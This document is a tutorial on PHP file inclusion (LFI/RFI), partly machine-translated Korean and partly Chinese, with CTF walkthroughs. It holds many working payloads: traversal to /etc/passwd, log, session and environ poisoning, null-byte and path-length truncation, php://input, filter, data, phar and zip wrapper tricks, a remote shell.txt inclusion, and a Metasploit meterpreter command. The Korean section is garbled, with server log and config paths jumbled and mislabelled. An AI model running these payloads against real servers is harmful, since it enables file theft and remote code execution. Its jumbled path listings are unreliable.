Principle
파일 포함 취약점의 원인은 PHP 함수를 통해 파일이 도입될 때, 들어오는 파일 이름이 제대로 확인되지 않았기 때문에 예상치 못한 파일이 조작되어 예상치 못한 파일 유출 및 유출이 발생할 수 있기 때문입니다. 악성코드 삽입까지.
일반적으로 다음 네 가지 함수는 PHP에서 파일 포함 취약점을 유발합니다.
1.include() 이 함수를 사용하여 파일을 포함하는 경우 해당 코드가 include() 함수에 실행될 때만 파일이 포함됩니다. 오류가 발생하면 경고만 주고 계속 실행합니다.
2. include_once()의 기능은 include()와 동일합니다. 동일한 파일을 반복해서 호출하면 프로그램이 한 번만 호출한다는 점이 다릅니다.
3.require()는 프로그램이 실행되는 즉시 파일을 호출합니다. 오류가 발생하면 오류 메시지가 출력되고 스크립트가 종료됩니다.
4. require_once()는 require와 동일한 기능을 갖습니다. ()의 차이점은 동일한 파일을 반복적으로 호출할 때 프로그램은 해당 파일을 한 번만 호출한다는 것입니다.
이 네 가지 기능을 사용하여 새 파일을 포함하면 해당 파일은 PHP 코드로 실행되며 PHP 커널은 어떤 유형의 파일이 포함되는지 상관하지 않습니다. 따라서 포함된 txt 파일, 이미지 파일, 원격 URL 등이 포함되어 있으면 PHP 코드로도 실행됩니다. 이 기능은 공격을 수행할 때 매우 유용합니다.
조건을 사용하세요
(1) include 및 기타 함수를 사용하여 변수의 동적 실행을 통해 포함해야 하는 파일을 소개합니다.
(2) 사용자가 동적 변수를 제어할 수 있습니다.
분류
파일 포함 취약점은 RFI(원격 파일 포함)와 LFI(로컬 파일 포함)의 두 가지 유형으로 나눌 수 있습니다. 이를 구별하는 가장 쉬운 방법은 php.ini에서 허용_url_include가 켜져 있는지 여부입니다. 켜져 있으면 원격 파일이 포함될 수 있습니다.
1. 로컬 파일에는 LFI(로컬 파일 포함)가 포함됩니다
2. 원격 파일에는 RFI(원격 파일 포함)가 포함되어 있습니다(php.ini에서 허용_url_include=on 필요, 허용_url_fopen = On)
php.ini에서,allow_url_fopen은 default php5.2부터 항상 On으로 되어 있으며,allow_url_include는 기본적으로 Off로 되어 있습니다.
1. 로컬 포함
동일한 디렉터리에 있는 파일을 포함합니다.
?file=test.txt
디렉터리 순회:
?file=./../../test.txt
./ 현재 디렉터리 ../ 이전 디렉터리, 이렇게 디렉터리를 순회하여 파일을 읽습니다.
그림 트로이 목마 포함
명령줄에서 실행:
copy x.jpg /b + s.php /b f.jpg
f.jpg 업로드, f.jpg 경로 찾기, f.jpg 포함
로그 포함
사용 조건: 알아야 함 서버 로그 경로 저장 및 로그 파일을 읽을 수 있습니다.
Apache와 같은 웹 서버는 로그 파일에 요청을 쓰는 경우가 많습니다. 사용자가 요청을 시작하면 요청이 access.log에 기록되고, 오류가 발생하면 해당 오류가 error.log에 기록됩니다. 기본적으로 로그 저장 경로는 /var/log/apache2/입니다.
?file=../../../../../../../../../var/log/apache/error.log
1. 다음 요청을 제출하여 로그에 페이로드를 삽입하세요
2. UA를 사용하여 로그 파일에 페이로드를 삽입해 보세요
3.
기본 로그 경로apache +Linux 로그 기본 경로
use exploit/unix/webapp/php_include set rhost 192.168.159.128 set rport 80 set phpuri /index.php?file=xxLFIxx set path http://172.18.176.147/ set payload php/meterpreter/bind_tcp set srvport 8888 exploit -z
or
/etc/httpd/logs/access_log
apache+win2003 로그 기본 경로
/var/log/httpd/access log
IIS6.0+win2003 기본 로그 파일
D:/xampp/apache/logs/access.log D:/xampp/apache/logs/error.log
IIS7.0+win2003 기본 로그 파일
C:/WINDOWS/system32/Logfiles
사용자 설치 디렉터리의 nginx 로그 파일 로그 디렉터리 아래
설치 디렉터리가 /usr/local/nginx인 경우 로그 디렉터리는
%SystemDrive%/inetpub/logs/LogFiles
에 있습니다. 구성 파일 Nginx를 통해 로그 경로를 가져올 수도 있습니다. conf
/usr/local/nginx/logs웹 미들웨어 기본 구성
apache+linux 기본 구성 파일
/opt/nginx/logs/access.log
또는
/etc/httpd/conf/httpd.conf
IIS6.0+win2003 구성 파일
index.php?page=/etc/init.d/httpd
IIS7.0+WIN 구성 파일
C:/Windows/system32/inetsrv/metabase.xml세션 포함
사용 조건: 세션 파일 경로를 알고 있으며 일부 내용을 제어할 수 있습니다.
기본적으로 PHP에서 생성된 세션 파일은 /tmp 디렉터리에 저장되는 경우가 많습니다.
C:/Windows/System32/inetsrv/config/application/Host.config
/tmp/sess_SESSIONID
세션 파일은 일반적으로 /tmp 디렉터리에 sess_[phpsessid 값] 형식으로 있으며 때로는 /에 있을 수도 있습니다. var/lib/php5 등의 경우 이 작업을 수행하기 전에 구성 파일을 읽는 것이 좋습니다. 어떤 특별한 경우에는 세션 값을 제어할 수 있다면 /proc/self/environ 파일
을 포함하는 쉘을 얻을 수 있습니다. 사용 조건:
1. PHP는 cgi에서 실행됩니다. 모드이므로 Environ 그런 다음에만 UA 헤드가 유지됩니다.
2. Environ 파일 저장 위치를 알고 있으며 Environ 파일을 읽을 수 있습니다.
위치:
user-agent 헤더는 proc/self/environ에 저장됩니다. user-agent에 PHP 코드를 삽입하면 해당 PHP 코드가 Environ에 기록됩니다. 나중에 포함시키세요.
?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7
User-Agent를 선택하고 다음과 같이 코드를 작성하세요.
?file=../../../../../../../proc/self/environ
그런 다음 요청을 제출하세요.
임시 파일 포함
php 中上传文件,会创建临时文件。在 linux 下使用 /tmp 目录,而在 windows 下使用 c:\winsdows\temp 目录。在临时文件被删除之前,利用竞争即可包含该临时文件。 由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux 下使用的随机函数有缺陷,而 window 下只有 65535 中不同的文件名,所以这个方法是可行的。另一种方法 phpinfo 来获取临时文件的路径以及名称,然后临时文件在极短时间被删除的时候,需要竞争时间包含临时文件拿到 webshell。 有防御的本地文件包含 审计中可见这样的包含模版文件: 这段代码指定了前缀和后缀:这样就很“难”直接去包含前面提到的种种文件。 1、%00 截断 能利用 00 截断的场景现在应该很少了 PHP 内核是由 C 语言实现的,因此使用了 C 语言中的一些字符串处理函数。在连接字符串时,0 字节 (\x00) 将作为字符串的结束符。所以在这个地方,攻击者只要在最后加入一个 0 字节,就能截断 file 变量之后的字符串。 需要 magic_quotes_gpc=off,PHP 小于 5.3.4 有效 2、%00 截断目录遍历: 需要 magic_quotes_gpc=off,unix 文件系统,比如 FreeBSD,OpenBSD,NetBSD,Solaris 3、路径长度截断: php 版本小于 5.2.8 可以成功,linux 需要文件名长于 4096,windows 需要长于 256 利用操作系统对目录最大长度的限制,可以不需要 0 字节而达到截断的目的。 我们知道目录字符串,在 window 下 256 字节、linux 下 4096 字节时会达到最大值,最大值长度之后的字符将被丢弃。 而利用 "./" 的方式即可构造出超长目录字符串: 4、点号截断: php 版本小于 5.2.8 可以成功,只适用 windows,点号需要长于 256 5、编码绕过 服务器端常常会对于 ../ 等做一些过滤,可以用一些编码来进行绕过。下面这些总结来自《白帽子讲 Web 安全》。 利用 url 编码: 二次编码: 二、远程文件包含 可以有三种,http、https、ftp 有防御的远程文件包含 攻击者可以构造类似如下的攻击 URL 产生的原理: 最终目标应用程序代码实际上执行了: 注意,这里很巧妙,问号 "?" 后面的代码被解释成 URL 的 querystring,这也是一种"截断"思想,和 %00 一样 攻击者可以在 http://localhost/test/solution.php 上模拟出相应的路径,从而使之吻合 PHP 中的封装协议(伪协议) 利用 php 流 input: 利用条件: 1、allow_url_include = On。 2、对 allow_url_fopen 不做要求。 结果将在 index.php 所在文件下的文件 shell.php 内增加 "" 一句话 利用 php 流 filter: 通过指定末尾的文件,可以读取经 base64 加密后的文件源码,之后再 base64 解码一下就行。虽然不能直接获取到 shell 等,但能读取敏感文件危害也是挺大的。 其他姿势: 效果跟前面一样,少了 read 等关键字。在绕过一些 waf 时也许有用。 利用 data URIs: 利用条件: 1、php 版本大于等于 php5.2 2、allow_url_fopen = On 3、allow_url_include = On 利用 data:// 伪协议进行代码执行的思路原理和 php:// 是类似的,都是利用了 PHP 中的流的概念,将原本的 include 的文件流重定向到了用户可控制的输入流中 加号 + 的 url 编码为 %2b,PD9waHAgcGhwaW5mbygpOz8+ 的 base64 解码为: 需要 allow_url_include=On 利用 XSS 执行任意代码: 利用条件: 1、allow_url_fopen = On 2、并且防火墙或者白名单不允许访问外网时,先在同站点找一个 XSS 漏洞,包含这个页面,就可以注入恶意代码了。条件非常极端和特殊 glob:// 伪协议 glob:// 查找匹配的文件路径模式 phar:// 利用条件: 1、php 版本大于等于 php5.3.0 姿势: 假设有个文件 phpinfo.txt,其内容为 ,打包成 zip 压缩包,如下: 指定绝对路径 或者使用相对路径(这里 test.zip 就在当前目录下) zip:// 利用条件: 1、php 版本大于等于 php5.3.0 截取过来的后面 4 格字符,判断是不是 jpg,如果是 jpg 才进行包含 但使用 zip 协议,需要指定绝对路径,同时将 # 编码为 %23,之后填上压缩包内的文件。 然后我们构造 zip://php.zip#php.jpg 注意事项: 1、若是使用相对路径,则会包含失败。 2、协议原型:zip://archive.zip#dir/file.txt 3、注意 url 编码,因为这个 # 会和 url 协议中的 # 冲突 CTF 中的文件包含套路 php 伪协议读取源码 点击 login,发现链接变为: 推测文件包含 访问: 得到源码 贪婪包含 iscc2018 的一道题目,打开题目 查看源码 知道这里调用 show.php?img=1.jpg 访问,并修改 1 的值 大概可以猜测 文件包含漏洞,尝试 但是不行 题目的坑点在于还需要包含 jpg,这就是贪婪包含所在,也就是后台某处代码所致, 1、开头包含了 config.php 2、img 必须有 jpg 但又不能有 resource=.*jpg 3、正则检查了并把结果填充到 $matches 里去,说明我们可以使用 php://filter 伪协议,并且 resource 的值不含|,那么我们就可以用| 来分隔 php 和 jpg,因为正则匹配到| 就不会继续匹配后面的 jpg 了,使得 \$img=show.php 知道了 config.php 再去访问明白为什么必须包含 jpg 最终 payload: %00 截断 要求: 1、php 版本小于 5.3.4 2、magic_quotes_gpc 为 off 状态 大多数的文件包含漏洞都是需要截断的,因为正常程序里面包含的文件代码一般是 include(BASEPATH.$mod.’.php’) 或者 include($mod.’.php’) 这样的方式,如果我们不能写入 .php 为扩展名的文件,那我们是需要截断来利用的受限与 gpc 和 addslashes 等函数的过滤,另外,php5.3 之后的版本全面修复了 %00 截断的问题 上传我们的 2.txt 文件,请求 即可执行 2.txt 中 phpinfo 的代码 列子二 漏洞文件 index.php flag 文件放在上层目录 这里限制了后缀名,我们需要通过截断才能访问到 flag 文件 利用代码: %00 会被解析为 0x00,所以导致截断的发生 我们通过截断成功的绕过了后缀限制 路径长度截断 我们现在已经知道使用 %00 截断有两个条件 php 版本小于 5.3.4 和 magic_quotes_gpc 为 off 状态。 如果这时我们将 magic_quotes_gpc 改为 on 那么就不能截断了,因为开启 magic_quotes_gpc 后 %00 会被加上一个反斜杠转义掉 那么我们这时候有没有办法绕过这个限制呢?有一个条件那就是 php 版本小于 5.3.10 我们的代码依旧不变 漏洞文件 index.php flag 文件放在上层目录 这时我们可以使用字符 ./. 和 ./ 来进行绕过,因为文件路径有长度限制 在 windows 下需要.字符最少的利用 POC1: 在 windows 下需要.字符最少的利用 POC2: 将 flag.php 改为 flag1.php 在 windows 下需要.字符最少的利用 POC3: 我们发现在使用 payload3 时将文件名改为了 flag1.php,而 payload2 和 payload3 则是一个.开始,一个 / 开始。 这和文件长度的奇偶性有关,当为偶数的时候我们选择 payload2,为奇数的时候我们选择 payload3<?php
$file = $_GET['file'];
include '/var/www/html/'.$file.'/test/test.php';
?>
?file=../../../../../../../../../etc/passwd%00
?file=../../../../../../../../../var/www/%00
?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
?file=../../../../../../../../../boot.ini/………[…]…………
../ -》 %2e%2e%2f -》 ..%2f -》 %2e%2e/
..\ -》 %2e%2e%5c -》 ..%5c -》 %2e%2e\
../ -》 %252e%252e%252f
..\ -》 %252e%252e%255c
?file=[http|https|ftp]://www.bbb.com/shell.txt
<?php
$basePath = $_GET['path'];
require_once $basePath . "/action/m_share.php";
?>
path=http://localhost/test/solution.php?
=
path=http://localhost/test/solution.php%23
/?path=http://localhost/test/solution.php?
require_once
"http://localhost/test/solution.php?/action/m_share.php";
http://cn2.php.net/manual/zh/wrappers.php
file:///var/www/html 访问本地文件系统
ftp://<login>:<password>@<ftpserveraddress> 访问 FTP(s) URLs
data:// 数据流
http:// — 访问 HTTP(s) URLs
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流
zlib:// — 压缩流
data:// — Data (RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP Archive
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — Audio streams
expect:// — 处理交互式的流
index.php?file=php://input
POST:
<? phpinfo();?>
?file=php://filter/convert.base64-encode/resource=index.php
index.php?file=php://filter/convert.base64-encode/resource=index.php
?file=data:text/plain,<?php phpinfo();?>
?file=data:text/plain;base64,base64编码的payload
index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
?file=http://127.0.0.1/path/xss.php?xss=phpcode
index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt
index.php?file=phar://test.zip/phpinfo.txt
<?php
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
include($file);
}
?>
index.php
?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23php.jpg
http://54.222.188.152:1/index.php?action=login.php
http://54.222.188.152:1/index.php?action=php://filter/read=convert.base64-encode/resource=login.php
img=php://filter/read=convert.base64-encode/resource=show.php
curl
img=php://filter/resource=jpg/resource=show.php
<?php
error_reporting(0);
ini_set('display_errors','Off');
include('config.php');
$img = $_GET['img'];
if(isset($img) && !empty($img))
{
if(strpos($img,'jpg') !== false)
{
if(strpos($img,'resource=') !== false && preg_match('/resource=.*jpg/i',$img) === 0)
{
die('File not found.');
}
preg_match('/^php:\/\/filter.*resource=([^|]*)/i',trim($img),$matches);
if(isset($matches[1]))
{
$img = $matches[1];
}
header('Content-Type: image/jpeg');
$data = get_contents($img);
echo $data;
}
else
{
die('File not found.');
}
}
else
{
?>
<img src="1.jpg" alt="취약점이 포함된 PHP 파일 형태 요약" >
<?php
}
?>
<?php
function get_contents($img)
{
if(strpos($img,'jpg') !== false)
{
return file_get_contents($img);
}
else
{
header('Content-Type: text/html');
return file_get_contents($img);
}
}
?>
img=php://filter/resource=../flag.php|jpg
<?php
include($_GET['a'].'.php')
?>
http://localhost/test/1.php?a=2.txt%00
<?php
if (empty($_GET["file"])){
echo('../flag.php');
return;
}
else{
$filename='pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome.txt").'.html';
include $filename;
}
?>
index.php?file=../../flag.php%00
<?php
if (empty($_GET["file"])){
echo('../flag.php');
return;
}
else{
$filename='pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome.txt").'.html';
include $filename;
}
?>
windows 259 个 bytes
linux 4096 个 bytes
file=../../flag.php...................................................................
......................................................................................
.....................................................................................
file=../../flag.php./././././././././././././././././././././././././././././././././././././
././././././././././././././././././././././././././././././././././././././././././././././.
/./././././././././././././././././././././././././././././././././././
file=../../flag1.php/./././././././././././././././././././././././././././././././././././
./././././././././././././././././././././././././././././././././././././././././././././.
/././././././././././././././././././././././././././././././././././././